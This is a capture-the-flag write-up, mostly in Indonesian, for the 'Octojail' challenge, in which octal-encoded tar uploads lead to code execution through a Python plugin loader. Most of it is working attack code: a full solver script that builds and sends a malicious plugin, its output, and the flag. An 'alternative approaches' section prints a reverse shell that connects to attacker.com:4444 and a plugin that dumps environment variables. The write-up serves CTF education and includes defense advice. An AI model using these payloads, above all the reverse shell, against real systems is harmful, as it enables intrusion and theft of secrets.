1007 words
5 minutes
CTF@AC - Octojail Writeup

Challenge Information#

Challenge Name: Octojail

Author: thek0der

Category: Misc

Description: “We only like octal around here!”

Flag: ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}

Challenge Analysis#

Source Code#

Challenge memberikan source code Python berikut:

#!/usr/bin/env python3
import io, os, re, sys, tarfile, importlib.util, signal
OCTAL_RE = re.compile(r'^[0-7]+$')
def to_bytes_from_octal_triplets(s: str) -> bytes:
if not OCTAL_RE.fullmatch(s):
sys.exit("invalid: only octal digits 0-7")
if len(s) % 3 != 0:
sys.exit("invalid: length must be multiple of 3")
if len(s) > 300000:
sys.exit("too long")
return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))
def safe_extract(tf: tarfile.TarFile, path: str):
def ok(m: tarfile.TarInfo):
name = m.name
return not (name.startswith("/") or ".." in name)
for m in tf.getmembers():
if ok(m):
tf.extract(m, path)
def load_and_run_plugin():
for candidate in ("uploads/plugin.py", "plugin.py"):
if os.path.isfile(candidate):
spec = importlib.util.spec_from_file_location("plugin", candidate)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
if hasattr(mod, "run"):
return mod.run()
break
print("No plugin found.")
def timeout(*_): sys.exit("timeout")
signal.signal(signal.SIGALRM, timeout)
signal.alarm(6)
print("Send octal")
data = sys.stdin.readline().strip()
blob = to_bytes_from_octal_triplets(data)
bio = io.BytesIO(blob)
try:
with tarfile.open(fileobj=bio, mode="r:*") as tf:
os.makedirs("uploads", exist_ok=True)
safe_extract(tf, "uploads")
except Exception as e:
sys.exit(f"bad archive: {e}")
load_and_run_plugin()

Program Flow#

Mari kita breakdown apa yang dilakukan program ini:

1. Input Validation#

OCTAL_RE = re.compile(r'^[0-7]+$')
def to_bytes_from_octal_triplets(s: str) -> bytes:
if not OCTAL_RE.fullmatch(s):
sys.exit("invalid: only octal digits 0-7")
if len(s) % 3 != 0:
sys.exit("invalid: length must be multiple of 3")
if len(s) > 300000:
sys.exit("too long")
return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))

Program memvalidasi input dengan aturan:

  • Hanya digit octal (0-7) yang diperbolehkan
  • Panjang harus kelipatan 3 karena setiap 3 digit octal = 1 byte
  • Maksimal 300,000 karakter untuk mencegah DoS
  • Setiap 3 digit dikonversi ke byte: "141"int("141", 8)97 → byte a

Contoh konversi:

"141" (octal) = 1×8² + 4×8¹ + 1×8⁰ = 64 + 32 + 1 = 97 = ASCII 'a'
"150" (octal) = 1×8² + 5×8¹ + 0×8⁰ = 64 + 40 + 0 = 104 = ASCII 'h'

2. Tar Archive Extraction#

bio = io.BytesIO(blob)
with tarfile.open(fileobj=bio, mode="r:*") as tf:
os.makedirs("uploads", exist_ok=True)
safe_extract(tf, "uploads")

Setelah decode octal ke bytes:

  • Bytes dibungkus dalam BytesIO object
  • Dibuka sebagai tar archive (mode r:* auto-detect compression)
  • Extract ke folder uploads/

3. Safe Extract Function#

def safe_extract(tf: tarfile.TarFile, path: str):
def ok(m: tarfile.TarInfo):
name = m.name
return not (name.startswith("/") or ".." in name)
for m in tf.getmembers():
if ok(m):
tf.extract(m, path)

Fungsi ini mencoba mencegah path traversal dengan:

  • ❌ Reject file yang dimulai dengan / (absolute path)
  • ❌ Reject file yang mengandung .. (parent directory)
  • ✅ Extract hanya file yang “aman”

4. Plugin Loading#

def load_and_run_plugin():
for candidate in ("uploads/plugin.py", "plugin.py"):
if os.path.isfile(candidate):
spec = importlib.util.spec_from_file_location("plugin", candidate)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
if hasattr(mod, "run"):
return mod.run()
break

Setelah extract, program mencari plugin Python:

  1. Cek uploads/plugin.py dulu
  2. Jika tidak ada, cek plugin.py
  3. Load sebagai module dan execute run() function

5. Timeout Protection#

signal.signal(signal.SIGALRM, timeout)
signal.alarm(6)

Program akan timeout setelah 6 detik untuk mencegah infinite loops.

Vulnerability Analysis#

The Vulnerability#

Vulnerability utama ada di plugin loading mechanism:

for candidate in ("uploads/plugin.py", "plugin.py"):
if os.path.isfile(candidate):
spec = importlib.util.spec_from_file_location("plugin", candidate)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod) # ← ARBITRARY CODE EXECUTION!

Program akan execute arbitrary Python code dari file plugin.py yang kita upload!

Why Safe Extract Isn’t Safe Enough#

Meskipun ada safe_extract(), kita masih bisa:

  1. Upload file ke uploads/plugin.py (tidak mengandung / atau ..)
  2. File akan di-extract ke uploads/plugin.py
  3. Program akan load dan execute code kita

Exploitation Path#

[Octal String]
↓ decode
[Tar Archive Bytes]
↓ extract
[uploads/plugin.py]
↓ load & execute
[Arbitrary Code Execution!]

Solution#

Strategy#

  1. Create malicious plugin.py yang membaca flag
  2. Pack into tar.gz archive
  3. Convert to octal encoding
  4. Send to server
  5. Receive flag

Step-by-Step Exploitation#

Step 1: Create Malicious Plugin#

def run():
print(open('/app/flag.txt').read())

Simple Python code yang:

  • Define function run()
  • Read /app/flag.txt
  • Print isinya

Step 2: Create Tar Archive#

with tarfile.open("payload.tar.gz", "w:gz") as tf:
info = tf.gettarinfo("plugin.py")
info.name = "plugin.py" # Nama dalam archive
with open("plugin.py", "rb") as src:
tf.addfile(info, src)

Membuat tar.gz archive dengan:

  • Compression: gzip
  • Member name: plugin.py (akan extract ke uploads/plugin.py)

Step 3: Convert to Octal#

data = open("payload.tar.gz", "rb").read()
octal = "".join(f"{b:03o}" for b in data)

Setiap byte dikonversi ke 3-digit octal:

  • Byte 0x1F (31) → "037"
  • Byte 0x8B (139) → "213"
  • Format: {byte:03o} = zero-padded 3-digit octal

Step 4: Send to Server#

s = socket.create_connection((HOST, PORT))
s.sendall((octal + "\n").encode())

Connect dan kirim octal string diakhiri newline.

Step 5: Receive Output#

out = b""
while True:
try:
chunk = s.recv(4096)
if not chunk: break
out += chunk
except Exception:
break
print(out.decode(errors="ignore"))

Receive semua output sampai connection close.

Full Exploit Code#

#!/usr/bin/env python3
import tarfile, socket
HOST, PORT = "ctf.ac.upt.ro", 9908
# 1. Create malicious plugin.py
with open("plugin.py", "w") as f:
f.write("def run():\n print(open('/app/flag.txt').read())\n")
# 2. Create tar.gz archive
with tarfile.open("payload.tar.gz", "w:gz") as tf:
info = tf.gettarinfo("plugin.py")
info.name = "plugin.py"
with open("plugin.py", "rb") as src:
tf.addfile(info, src)
# 3. Read archive and convert to octal
data = open("payload.tar.gz", "rb").read()
octal = "".join(f"{b:03o}" for b in data)
print(f"[*] Payload size: {len(data)} bytes")
print(f"[*] Octal length: {len(octal)} chars")
# 4. Connect and send payload
print(f"[*] Connecting to {HOST}:{PORT}")
s = socket.create_connection((HOST, PORT))
s.sendall((octal + "\n").encode())
# 5. Receive output
out = b""
while True:
try:
chunk = s.recv(4096)
if not chunk: break
out += chunk
except Exception:
break
print("[+] Output:")
print(out.decode(errors="ignore"))
s.close()

Running the Exploit#

Terminal window
$ python3 solver.py
[*] Payload size: 156 bytes
[*] Octal length: 468 chars
[*] Connecting to ctf.ac.upt.ro:9908
[+] Output:
Send octal
ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}

Key Takeaways#

What We Learned#

  1. Octal Encoding

    • Octal adalah base-8 numbering system (0-7)
    • Sering digunakan untuk encoding/obfuscation
    • 3 octal digits = 1 byte (karena 8³ = 512 > 256)
  2. Tar File Structure

    • Tar archives bisa contain arbitrary files
    • Python tarfile module support compression (gz, bz2, xz)
    • Member names bisa dimanipulasi
  3. Path Traversal Defense

    • Blocking .. dan / adalah insufficient
    • Perlu check resolved path dengan os.path.realpath()
    • Better: use whitelist approach
  4. Dynamic Code Loading

    • importlib sangat powerful tapi dangerous
    • Loading user-supplied code = RCE
    • Always sandbox untrusted code

Defense Recommendations#

Untuk mencegah vulnerability seperti ini:

# BAD - Vulnerable
spec.loader.exec_module(mod)
# BETTER - Validate content
import ast
tree = ast.parse(plugin_code)
# Analyze AST, block dangerous imports
# BEST - Don't execute user code
# Use configuration files (JSON/YAML) instead

Alternative Approaches#

Method 1: Direct File Read#

Alih-alih menggunakan open(), kita bisa:

def run():
import subprocess
print(subprocess.check_output(['cat', '/app/flag.txt']).decode())

Method 2: Reverse Shell#

Untuk persistent access:

def run():
import socket, subprocess, os
s = socket.socket()
s.connect(("attacker.com", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

Method 3: Environment Variables#

Check untuk secrets di environment:

def run():
import os
print(os.environ)

Conclusion#

Challenge octojail adalah excellent example dari:

  • Custom encoding schemes (octal)
  • Archive manipulation
  • Python sandbox escape
  • Arbitrary code execution

Vulnerability terjadi karena program me-load dan execute user-supplied Python code tanpa proper sandboxing. Meskipun ada protection untuk path traversal, fundamental design flaw membuat challenge ini vulnerable.

Flag: ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}


Challenge Rating: Medium

Skills Required: Python, Tar files, Octal encoding, Code analysis

Skills Learned: Archive exploitation, Dynamic module loading, Encoding schemes

Happy hacking! 🚩